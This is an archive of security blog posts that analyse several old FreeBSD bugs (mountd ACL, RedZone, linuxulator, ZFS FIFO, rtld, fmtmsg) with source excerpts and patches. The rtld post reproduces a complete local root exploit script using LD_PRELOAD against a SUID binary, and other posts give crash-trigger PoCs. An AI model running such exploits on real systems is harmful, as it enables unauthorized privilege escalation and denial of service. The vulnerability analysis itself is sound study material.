xorl %eax, %eax

Archive for the ‘freebsd’ Category

CVE-2011-1739: FreeBSD mountd(8) ACL Mishandling

leave a comment »

On 20 April 2011 the FreeBSD Project published a new security advisory. The issue affects mountd(8) and credits for this discovery go to Ruslan Ermilov.
From the official security advisory we can read this description for the issue.

While parsing the exports(5) table, a network mask in the form of
"-network=netname/prefixlength" results in an incorrect network mask
being computed if the prefix length is not a multiple of 8.

For example, specifying the ACL for an export as "-network 192.0.2.0/23"
would result in a netmask of 255.255.127.0 being used instead of the
correct netmask of 255.255.254.0.

Because of this design flaw the Access Control List (ACL) would not be applied to the appropriate hosts and thus unauthorized users could have access. The exact code resides in usr.sbin/mountd/mountd.c and more specifically in the below C function.

/*
 * Make a netmask according to the specified prefix length. The ss_family
 * and other non-address fields must be initialised before calling this.
 */
int
makemask(struct sockaddr_storage *ssp, int bitlen)
{
	u_char *p;
	int bits, i, len;

	if ((p = sa_rawaddr((struct sockaddr *)ssp, &len)) == NULL)
		return (-1);
	if (bitlen > len * CHAR_BIT)
		return (-1);

	for (i = 0; i < len; i++) {
		bits = (bitlen > CHAR_BIT) ? CHAR_BIT : bitlen;
		*p++ = (1 << bits) - 1;
		bitlen -= bits;
	}
	return 0;
}

After checking that the address family is known by calling sa_rawaddr() routine, as well as that the ‘bitlen’ argument (representing the prefix length) does not exceed the raw address’ length in bits, it enters a ‘for’ loop. This will update the raw address part of the ‘sockaddr’ structure masking it with ‘bits’. However, the current bitwise operations fail to correctly calculate the values when the ‘bitlen’ is not a multiple of 8.
To fix this, the calculation was re-written as shown below.

 		bits = (bitlen > CHAR_BIT) ? CHAR_BIT : bitlen;
-		*p++ = (1 << bits) - 1;
+		*p++ = (u_char)~0 << (CHAR_BIT - bits);
 		bitlen -= bits;

In order to be able to handle such prefix lengths correctly.

Written by xorl

April 26, 2011 at 19:56

FreeBSD Red Zone – Kernel Buffer Corruption Detector

leave a comment »

Since FreeBSD 7.0 this feature named “RedZone” is implemented inside the operating system’s kernel to detect buffer underflow and overflow bugs in kernel at run-time. It was developed and maintained by Pawel Jakub Dawidek and it’s placed in vm/redzone.c and vm/redzone.h in the FreeBSD’s kernel code.

The SYSCTL Interface
As you’ve probably read from the man page link I gave above, this can be tuned through ‘vm.redzone.panic’ and ‘vm.redzone.extra_mem’ SYSCTL variables. Inside vm/redzone.c we can find this:

SYSCTL_NODE(_vm, OID_AUTO, redzone, CTLFLAG_RW, NULL, "RedZone data");
static u_long redzone_extra_mem = 0;
SYSCTL_ULONG(_vm_redzone, OID_AUTO, extra_mem, CTLFLAG_RD, &redzone_extra_mem,
    0, "Extra memory allocated by redzone");     
static int redzone_panic = 0;
TUNABLE_INT("vm.redzone.panic", &redzone_panic);
SYSCTL_INT(_vm_redzone, OID_AUTO, panic, CTLFLAG_RW, &redzone_panic, 0,
    "Panic when buffer corruption is detected");     

Which shows what variables are changed from the kernel’s perspective using those SYSCTL variables. This isn’t really important but for completeness I decided to add it.

Setting Up a Red Zone
The code responsible for initializing a red-zone is inside redzone_setup() function which is shown below.

#define REDZONE_CHSIZE  (16)
#define REDZONE_CFSIZE  (16)
 ...
/*
 * Set redzones and remember allocation backtrace.
 */
void *
redzone_setup(caddr_t raddr, u_long nsize)
{
        struct stack st;
        caddr_t haddr, faddr;

        atomic_add_long(&redzone_extra_mem, redzone_size_ntor(nsize) - nsize);

        haddr = raddr + redzone_roundup(nsize) - REDZONE_HSIZE;
        faddr = haddr + REDZONE_HSIZE + nsize;

        /* Redzone header. */
        stack_save(&st);
        bcopy(&st, haddr, sizeof(st));
        haddr += sizeof(st);
        bcopy(&nsize, haddr, sizeof(nsize));
        haddr += sizeof(nsize);
        memset(haddr, 0x42, REDZONE_CHSIZE);
        haddr += REDZONE_CHSIZE;

        /* Redzone footer. */
        memset(faddr, 0x42, REDZONE_CFSIZE);
 
        return (haddr);
}

The algorithm here is fairly simple, after updating ‘redzone_extra_mem’ with the new size using atomic_add_long(), it initializes ‘haddr’ (header address) and ‘faddr’ (footer address) to point to the beginning and the end of the new space respectively. The current stack is placed in the header address followed by allocation size represented by ‘nsize’ unsigned long integer.

#define STACK_MAX       18      /* Don't change, stack_ktr relies on this. */

struct stack {
        int             depth;
        vm_offset_t     pcs[STACK_MAX];
};

The rest of the header and footer space are filled with ‘0x42’ (which is the equivalent hexadecimal value of ASCII character ‘B’). So, with this knowledge we can now understand that a red-zone in FreeBSD looks like this:

     +--------------------+ <--- Header
     |                    | 
     |   Current Stack    | 
     |                    |
     +--------------------+ <--- Header + sizeof(stack)
     |                    |
     |   Allocation size  |
     |                    |
     +--------------------+ <--- Header + nsize
     |     BBBBBBBBBB     |
     |       BBBBBB       |
     |                    |
     +--------------------+ <--- Footer
     |     BBBBBBBBBB     |
     |       BBBBBB       |
     |                    |
     +--------------------+ <--- Footer + REDZONE_CFSIZE

Red-Zone Checks
To check if a red-zone was corrupted which almost certainly means that an overflow occurred in a buffer close to it, redzone_check() function is used. Its argument is the address of the allocated space after the redzone and that’s why it will initially subtract the redzone’s header size to read its data and store it in some local variables as you can see in this code snippet:

/*
 * Verify redzones.
 * This function is called on free() and realloc().
 */
void
redzone_check(caddr_t naddr)
{
        struct stack ast, fst;
        caddr_t haddr, faddr;
        u_int ncorruptions;
        u_long nsize;
        int i;
 
        haddr = naddr - REDZONE_HSIZE;
        bcopy(haddr, &ast, sizeof(ast));
        haddr += sizeof(ast);
        bcopy(haddr, &nsize, sizeof(nsize));
        haddr += sizeof(nsize);
 
        atomic_subtract_long(&redzone_extra_mem,
            redzone_size_ntor(nsize) - nsize);

Then, we can find a simple ‘for’ loop that will iterate for the header part of the redzone to ensure that no 0x42 entries where altered.

        /* Look for buffer underflow. */
        ncorruptions = 0;
        for (i = 0; i < REDZONE_CHSIZE; i++, haddr++) {
                if (*(u_char *)haddr != 0x42)
                        ncorruptions++;
         }

However, if one or more altered/corrupted Bytes where discovered it will result in executing the next part.

        if (ncorruptions > 0) {
                printf("REDZONE: Buffer underflow detected. %u byte%s "
                    "corrupted before %p (%lu bytes allocated).\n",
                    ncorruptions, ncorruptions == 1 ? "" : "s", naddr, nsize);
                printf("Allocation backtrace:\n");
                stack_print_ddb(&ast);
                printf("Free backtrace:\n");
                stack_save(&fst);
                stack_print_ddb(&fst);
                if (redzone_panic)
                        panic("Stopping here.");
        }

Which might panic the system (depends on the ‘redzone_panic’ constant which by default is set to 0 but it can be tuned using the SYSCTL interface) but before doing this, it will give a complete stack-trace that could help in detecting the bug. The next part of redzone_check() does the exact same task for the footer.

        faddr = naddr + nsize;
        /* Look for buffer overflow. */
         ncorruptions = 0;
        for (i = 0; i < REDZONE_CFSIZE; i++, faddr++) {
                if (*(u_char *)faddr != 0x42)
                        ncorruptions++;
        }

Once again, in case of one or more corrupted Bytes the result will be a complete stack-trace and depending on the ‘redzone_panic’ value, a system panic.

        if (ncorruptions > 0) {
                printf("REDZONE: Buffer overflow detected. %u byte%s corrupted "
                    "after %p (%lu bytes allocated).\n", ncorruptions,
                    ncorruptions == 1 ? "" : "s", naddr + nsize, nsize);
                printf("Allocation backtrace:\n");
                stack_print_ddb(&ast);
                printf("Free backtrace:\n");
                stack_save(&fst);
                stack_print_ddb(&fst);
                if (redzone_panic)
                        panic("Stopping here.");
        }
}

Red-Zone in FreeBSD’s code
The last step is to see how those routines are utilized in kernel memory allocation functions to provide the buffer overflow detection feature. All of the code snippets below are part of the kern/kern_malloc.c file which implements the kernel’s dynamic memory allocation mechanism of FreeBSD. The setup of each redzone is part of kernel’s malloc() function.

void *
malloc(unsigned long size, struct malloc_type *mtp, int flags)
{
        int indx;
        struct malloc_type_internal *mtip;
        caddr_t va;
        uma_zone_t zone;
#if defined(DIAGNOSTIC) || defined(DEBUG_REDZONE)
        unsigned long osize = size;
#endif
  ...
#ifdef DEBUG_REDZONE
        size = redzone_size_ntor(size);
#endif

        if (size <= KMEM_ZMAX) {
  ...
#ifdef DEBUG_REDZONE
        if (va != NULL)
                va = redzone_setup(va, osize);
#endif
        return ((void *) va);
}

If the kernel is compiled with ‘DEBUG_REDZONE’ enabled, it will use the redzone_ntor_size() routine to calculate the allocation size and before returning the newly allocated VA space it will pass it to redzone_setup() in order to initialize a new red-zone for it.
The checks as you might have guessed are performed in free() since realloc() also results in calling free as you can see here:

void *
realloc(void *addr, unsigned long size, struct malloc_type *mtp, int flags)
{
        uma_slab_t slab;
        unsigned long alloc;
        void *newaddr;
  ...
#ifdef DEBUG_REDZONE
        slab = NULL;
        alloc = redzone_get_size(addr);
#else
        slab = vtoslab((vm_offset_t)addr & ~(UMA_SLAB_MASK));
  ...
         /* Copy over original contents */
         bcopy(addr, newaddr, min(size, alloc));
         free(addr, mtp);
         return (newaddr);
}

Which by the end of the function frees the old memory space before returning the newly allocated one. The call to free() leads to the actual redzone check.

void
free(void *addr, struct malloc_type *mtp)
{
        uma_slab_t slab;
        u_long size;
  ...
#ifdef DEBUG_REDZONE
        redzone_check(addr);
        addr = redzone_addr_ntor(addr);
#endif
  ...
        malloc_type_freed(mtp, size);
}

So, it will check that there was no corruption in the red-zone that protected the space to be freed.

Although bypassing this this quite straightforward I won’t discuss it since there is no public resource demonstrating it and I always write only for information that is already publicly available.

Written by xorl

December 21, 2010 at 19:12

Posted in freebsd, security

FreeBSD vfs_mountroot_try() Heap off-by-one Overwrite

leave a comment »

On 27 December 2009, Jakub Klama made a bug report on freebsd-bugs mailing list. The issue affects FreeBSD 7.0-RELEASE-p5 and probably other versions too and it is located at kern/vfs_mount.c file and specifically, in the following code.

/*
 * Mount (mountfrom) as the root filesystem.
 */
static int
vfs_mountroot_try(const char *mountfrom)
{
        struct mount    *mp;
        char            *vfsname, *path;
        time_t          timebase;
        int             error;
        char            patt[32];
     ...
        /* parse vfs name and path */
        vfsname = malloc(MFSNAMELEN, M_MOUNT, M_WAITOK);
        path = malloc(MNAMELEN, M_MOUNT, M_WAITOK);
        vfsname[0] = path[0] = 0;
        sprintf(patt, "%%%d[a-z0-9]:%%%ds", MFSNAMELEN, MNAMELEN);
        if (sscanf(mountfrom, patt, vfsname, path) < 1)
                goto out;
 
        if (path[0] == '\0')
                strcpy(path, ROOTNAME);
     ...
out:
        free(path, M_MOUNT);
        free(vfsname, M_MOUNT);
        return (error);
}

So, this code uses malloc() to allocate ‘MFSNAMELEN’ bytes which is 16 as we can read at sys/mount.h header file:

/*
 * filesystem statistics
 */
#define MFSNAMELEN      16              /* length of type name including null */
#define MNAMELEN        88              /* size of on/from name bufs */
#define STATFS_VERSION  0x20030518      /* current version number */

And then 88 more (you can see the definition of ‘MNAMELEN’ above), then it creates the appropriate format string and stores it in ‘patt’ using sprintf() and at last, it copies the ‘mountfrom’ string using the previously constructed format string in order to retrieve the VFS name (represented by ‘vfsname’ string) and the equivalent path (which is stored in ‘path’ string). Now, if you read the format string that is being used you can easily see that it leaves no space for string’s NULL termination since it’s using the maximum available values for both the VFS name and the path.
As J. Klama said, to reproduce this you can do the following (in his own words):

Enter any string longer than 16 characters without ":" in 
it with WITNESS kernel option enabled in mountroot prompt.

He later corrected this by saying:

sorry for mentioning WITNESS, i was of course thinking of DEBUG_MEMGUARD.

However, since this routine is used to mount the root filesystem I don’t know if it’s a security related bug, for example this is called numerous times from vfs_mountroot() and vfs_mountroot_ask() as seen in kern/vfs_mount.c but I personally didn’t find a code path from which I could consider this a vulnerability. In any case, it’s an interesting bug and who knows… there might be a way to exploit it…

Written by xorl

January 2, 2010 at 06:42

FreeBSD linuxulator Invalid Pointer Access

with one comment

This bug was reported by Gleb Kurtsou of FreeBSD Project on 27 December 2009 and the buggy code resides at compat/linux/linux_misc.c as you can read below…

int
linux_getppid(struct thread *td, struct linux_getppid_args *args)
{
         struct linux_emuldata *em;
         struct proc *p, *pp;

This routine is used by the Linux emulator to provide an implementation of getppid(2) function. Some information that will help us understand the bug now, the ‘proc’ structure includes the following members (as seen in sys/proc.h):

/* 
 * Process structure.
 */
struct proc {
   ...
        struct proc     *p_pptr;        /* (c + e) Pointer to parent process. */
   ...
        struct sysentvec *p_sysent;     /* (b) Syscall dispatch info. */
   ...
        void            *p_emuldata;    /* (c) Emulator state data. */
   ...
};

If we move back to linux_getppid() we’ll see that ‘p’ pointer is initialized in the following way…

         /* find the group leader */
         p = pfind(em->shared->group_pid);
 
         if (p == NULL) {
    ...   
         pp = p->p_pptr;         /* switch to parent */
    ...
         /* if its also linux process */
         if (pp->p_sysent == &elf_linux_sysvec) {
                 em = em_find(pp, EMUL_DONTLOCK);
                 KASSERT(em != NULL, ("getppid: parent emuldata not found.\n"));
 
                 td->td_retval[0] = em->shared->group_pid;
         } else
                 td->td_retval[0] = pp->p_pid;
    ...   
         return (0);
}

So, it uses pfind() to retrieve the group leader process and store it inside ‘p’ pointer. The ‘pp’ pointer contains the pointer of the parent process as you can read from the above code snippet and it is used to check if its system call dispatch info pointer points to ‘elf_linux_sysvec’ which means that this is an ELF Linux binary file. If this is the case, it will invoke em_find() which is a really simple routine located at compat/linux/linux_emul.c that is used to return the emulator state data pointer as you can see in the code below.

/* this returns locked reference to the emuldata entry (if found) */
struct linux_emuldata *
em_find(struct proc *p, int locked)
{
        struct linux_emuldata *em;
 
        if (locked == EMUL_DOLOCK)
                EMUL_LOCK(&emul_lock);

        em = p->p_emuldata;

        if (em == NULL && locked == EMUL_DOLOCK)
                EMUL_UNLOCK(&emul_lock);
 
        return (em);
}

Back to linux_getppid(), if the returned pointer is NULL, it will issue a KASSERT() that eventually leads to a kernel panic. Otherwise, it will update the thread’s return value to either the group PID or its parent PID which is the purpose of getppid(2) system call.
However, if we have a look at the emulated exiting system calls we’ll see that they do not update the ’em’ pointer after freeing its space, for example here is a code snippet of linux_proc_exit() as seen in compat/linux/linux_emul.c.

void
linux_proc_exit(void *arg __unused, struct proc *p)
{
        struct linux_emuldata *em;
        int error;
        struct thread *td = FIRST_THREAD_IN_PROC(p);
        int *child_clear_tid;
        struct proc *q, *nq;
 
        if (__predict_true(p->p_sysent != &elf_linux_sysvec))
                 return;
 
        release_futexes(p);
 
        /* find the emuldata */
        em = em_find(p, EMUL_DOLOCK);
   ...
        /* clean the stuff up */
        free(em, M_LINUX);
   ...
}

So, it basically retrieves the emulator data state pointer and frees it. Since its value was not updated to NULL, a call to linux_getppid() attempting to access this emulator data state pointer will result in an invalid pointer access inside em_find() since this memory area has already been freed by linux_proc_exit(). To fix this inconsistency between the exit() and the getppid() emulated system calls, the following patch was applied.
First of all, linux_getppid() was changed like this:

         /* if its also linux process */
-        if (pp->p_sysent == &elf_linux_sysvec) {
-                em = em_find(pp, EMUL_DONTLOCK);
-                KASSERT(em != NULL, ("getppid: parent emuldata not found.\n"));
-
+        if (pp->p_sysent == &elf_linux_sysvec &&
+            (em = em_find(pp, EMUL_DONTLOCK)) != NULL) {
                 td->td_retval[0] = em->shared->group_pid;

This is more or less the same code apart that they removed the KASSERT() call. Now, linux_proc_exit() and linux_proc_exec() which are able to free the ’em’ pointer’s space were updated in manner similar to this one:

                         free(em, M_LINUX);
+                        p->p_emuldata = NULL;
                         return;

Using this, em_find() will not result in an invalid pointer access of the previously freed pointer.

Written by xorl

December 31, 2009 at 19:59

FreeBSD ZFS fsync() on FIFO Kernel Panic

with one comment

This is a really funny bug I just saw in freebsd-bugs mailing list. The bug was discovered by Dominik Ernst as you can read in the original report and it affects 8.0-RELEASE and probably earlier releases too. The bug is extremely easy to spot and trigger, let’s have a quick look at cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vnops.c where some ZFS operations reside…

 struct vop_vector zfs_fifoops = {
         .vop_default =          &fifo_specops,
         .vop_fsync =            VOP_PANIC,
         .vop_access =           zfs_freebsd_access,
         .vop_getattr =          zfs_freebsd_getattr,
         .vop_inactive =         zfs_freebsd_inactive,
         .vop_read =             VOP_PANIC,
         .vop_reclaim =          zfs_freebsd_reclaim,
         .vop_setattr =          zfs_freebsd_setattr,
         .vop_write =            VOP_PANIC,
         .vop_fid =              zfs_freebsd_fid,
 #ifdef notyet
         .vop_getacl =           zfs_freebsd_getacl,
         .vop_setacl =           zfs_freebsd_setacl,
         .vop_aclcheck =         zfs_freebsd_aclcheck,
 #endif
 };

As you can see, in the FIFO operations vector, the fsync operation is initialized with VOP_PANIC. This constant is defined in sys/vnode.h like this:

#define VOP_PANIC       ((void*)(uintptr_t)vop_panic)

Which results in execution of the following code from kern/vfs_default.c

 /*
  * Helper function to panic on some bad VOPs in some filesystems.
  */
 int
 vop_panic(struct vop_generic_args *ap)
 {
 
         panic("filesystem goof: vop_panic[%s]", ap->a_desc->vdesc_name);
 }

Which will of course cause a kernel panic. The fix was of course to update this FIFO operation by adding the equivalent routine to handle the fsync operation.

 struct vop_vector zfs_fifoops = {
         .vop_default =          &fifo_specops,
-        .vop_fsync =            VOP_PANIC,
+        .vop_fsync =            zfs_freebsd_fsync,
         .vop_access =           zfs_freebsd_access,

And the PoC trigger code was also quite simple, it first creates a FIFO on a ZFS filesystem using the following commands:

mkfifo /mnt/zfs/testpipe
tail -f /mnt/zfs/testpipe &

And then simply compiles and executes the program below…

#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>

int main(void) {
char fifo[] = "/mnt/zfs/testpipe";
int fd;

fd = open(fifo, O_WRONLY);
if(fd < 0) {
perror("open");
return 1;
}

write(fd, "asdf\n", sizeof(char)*5);
fsync(fd);

close(fd);


return 0;
}

Which is a simple C program that opens the previously created FIFO and attempts to perform a dummy write operation and then call fsync() to it in order to trigger the execution of the buggy FIFO operation.

Written by xorl

December 5, 2009 at 01:45

FreeBSD LD_PRELOAD Security Bypass

with 8 comments

A few hours ago, kingcope (aka. Nikolaos Rangos) released a 0day exploit for FreeBSD that results in instant privilege escalation. The vulnerability resides in the Run-Time Dynamic Loader’s code which can be found at libexec/rtld-elf/rtld.c. In case you’re not aware, LD_PRELOAD environment variable is used to instruct the RTLD to use some additional library (shared object) which will be pre-loaded. However, for security purposes this environment variable is normally ignored on SUID/SGID binaries. Now, let’s move to the susceptible code…

func_ptr_type
_rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp)
{
    Elf_Auxinfo *aux_info[AT_COUNT];
    int i;
  ...
    trust = !issetugid();
  ...
    /* 
     * If the process is tainted, then we un-set the dangerous environment
     * variables.  The process will be marked as tainted until setuid(2)
     * is called.  If any child process calls setuid(2) we do not want any
     * future processes to honor the potentially un-safe variables.
     */
    if (!trust) {
        unsetenv(LD_ "PRELOAD");
        unsetenv(LD_ "LIBMAP");
        unsetenv(LD_ "LIBRARY_PATH");
        unsetenv(LD_ "LIBMAP_DISABLE");
        unsetenv(LD_ "DEBUG");
        unsetenv(LD_ "ELF_HINTS_PATH");
    }
  ...
    /* Return the exit procedure and the program entry point. */
    *exit_proc = rtld_exit;
    *objp = obj_main;
    return (func_ptr_type) obj_main->entry;
}

So, in case of a SUID/SGID binary, it will unset some LD_ environment variables that are considered a possible threat. This is done using unsetenv(3) function which a library routine from the ‘stdlib’. If we have a look at this routine we’ll see that it could fail (from src/lib/libc/stdlib/getenv.c)…

/*
 * Unset variable with the same name by flagging it as inactive.  No variable is
 * ever freed.
 */
int
unsetenv(const char *name)
{
	int envNdx;
	size_t nameLen;

	/* Check for malformed name. */
	if (name == NULL || (nameLen = __strleneq(name)) == 0) {
		errno = EINVAL;
		return (-1);
	}

	/* Initialize environment. */
	if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
		return (-1);

	/* Deactivate specified variable. */
	envNdx = envVarsTotal - 1;
	if (__findenv(name, nameLen, &envNdx, true) != NULL) {
		envVars[envNdx].active = false;
		if (envVars[envNdx].putenv)
			__remove_putenv(envNdx);
		__rebuild_environ(envActive - 1);
	}

	return (0);
}

What this code does is to check for a malformed name which if it’s either NULL or has zero length it’ll immediately return with ‘EINVAL’. Next, it will invoke __merge_environ() and __build_env() to initialize the environment array. Next, is the most interesting part, the call to __findenv() is used to initialize the ‘envNdx’ with a value associated with the passed name. That index value is used to remove the environment variable from the array, however, a look at __findenv() reveals that it could also fail…

static inline char *
__findenv(const char *name, size_t nameLen, int *envNdx, bool onlyActive)
{
	int ndx;

	/*
	 * Find environment variable from end of array (more likely to be
	 * active).  A variable created by putenv is always active or it is not
	 * tracked in the array.
	 */
	for (ndx = *envNdx; ndx >= 0; ndx--)
		if (envVars[ndx].putenv) {
			if (strncmpeq(envVars[ndx].name, name, nameLen)) {
				*envNdx = ndx;
				return (envVars[ndx].name + nameLen +
				    sizeof ("=") - 1);
			}
		} else if ((!onlyActive || envVars[ndx].active) &&
		    (envVars[ndx].nameLen == nameLen &&
		    strncmpeq(envVars[ndx].name, name, nameLen))) {
			*envNdx = ndx;
			return (envVars[ndx].value);
		}

	return (NULL);
}

So, if this fails, the result will be exiting from unsetenv(3) with an error. Now if we move back to the _rtld() we’ll see that in none of those LD_ routines there’s a return value check of the unsetenv(3) calls! This allows a user to trigger an error in __findenv() in order to abort the removal of the environment variable.
By doing this, the RTLD will assume that the LD_ environment variable has been removed and proceed with loading the binary but the variable would still be there since unsetenv(3) failed to remove it! This allows us to pre-load arbitrary libraries to SUID/SGID binaries which results in a straightforward privilege escalation.
In his exploit code, kingcope does the following…

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

This is a simple shell script that will first compile env.c file which is setting the environment array to some uninitialized heap space in order to trigger the failure of unsetenv(3) and he also sets the first argument to “LD_PRELOAD=/tmp/w00t.so.1.0” to allow the RTLD load this library. Finally, it executes a SUID binary, in this case /sbin/ping.
The second binary is the library that will be pre-loaded during the execution of /sbin/ping which is used to set the environment array to NULL and just spawn a shell at its start up.
In addition to this, as spender noticed, the uninitialized heap area could contain a “=” character and this will result in assuming that this is another environment variable. So, you can either do something like this or something like that.
To conclude, the patch has already been developed as you can read in this official email, and as you might have been expecting it just checks the return values like this:

     if (!trust) {
-        unsetenv(LD_ "PRELOAD");
-        unsetenv(LD_ "LIBMAP");
-        unsetenv(LD_ "LIBRARY_PATH");
-        unsetenv(LD_ "LIBMAP_DISABLE");
-        unsetenv(LD_ "DEBUG");
-        unsetenv(LD_ "ELF_HINTS_PATH");
+        if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+	    unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+	    unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+		_rtld_error("environment corrupt; aborting");
+		die();
+	}
     }
     ld_debug = getenv(LD_ "DEBUG");

This kingcope’s discovery is really unbelievable… Everyone is looking for amazingly complex vulnerabilities when there are such simple bugs out there…
Congrats for your discovery kcope

UPDATE:
As spender noticed, I didn’t provide details of __merge_environ(), however, this is the main reason that this bug is exploitable since this function will “scan” the environment array like this:

static int
__merge_environ(void)
{
	char **env;
	char *equals;
   ...
		origEnviron = environ;
		if (origEnviron != NULL)
			for (env = origEnviron; *env != NULL; env++) {
				if ((equals = strchr(*env, '=')) == NULL) {
					__env_warnx(CorruptEnvValueMsg, *env,
					    strlen(*env));
					errno = EFAULT;
					return (-1);
				}
				if (__setenv(*env, equals - *env, equals + 1,
				    1) == -1)
					return (-1);
			}
	}

	return (0);
}

As you can read, it checks for “=” character which is why is the environment passed to it.

Written by xorl

December 1, 2009 at 03:08

FreeBSD fmtmsg(3) Typo

with one comment

This is a funny bug reported by soulcatcher to the FreeBSD project. The vulnerable code resides in gen/fmtmsg.c and specifically in printfmt() routine as you can see below.

/*
 * Returns NULL on memory allocation failure, otherwise returns a pointer to
 * a newly malloc()'d output buffer.
 */
static char *
printfmt(char *msgverb, long class, const char *label, int sev,
    const char *text, const char *act, const char *tag)
{
        size_t size;
        char *comp, *output;
        const char *sevname;
 
        size = 32;
    ...
        if (text != MM_NULLTXT)
                size += strlen(text);
        if (text != MM_NULLACT)
                size += strlen(act);
   ...
        if ((output = malloc(size)) == NULL)
   ...
        return (output);
}

This could be reached directly using fmtmsg(3).
The problem here is in the ‘MM_NULLACT’ case (which checks if ‘act’ is set to “NULL” or not), which is incorrectly using ‘text’ argument even though it updates the size variable using ‘act’. The advisory included a small PoC trigger C code which you can see here.

#include <fmtmsg.h>

int main(int argc, char * argv[])
{
fmtmsg(MM_UTIL | MM_PRINT, "BSD:ls", MM_ERROR,
"illegal option -- z", MM_NULLACT, "BSD:ls:001");
return 0;
}

It is quite simple, it has a ‘text’ argument set to “illegal option — z” and ‘act’ set to MM_NULLACT. This will attempt to add the length of that ‘MM_NULLACT’ to the ‘size’ and eventually, result in a segmentation fault.
The fix was, as you might have guessed…

         if (text != MM_NULLTXT)
                 size += strlen(text);
-        if (text != MM_NULLACT)
+        if (act != MM_NULLACT)
                 size += strlen(act);

It just checks the correct argument before updating the size that will be later allocated.

Written by xorl

November 12, 2009 at 23:09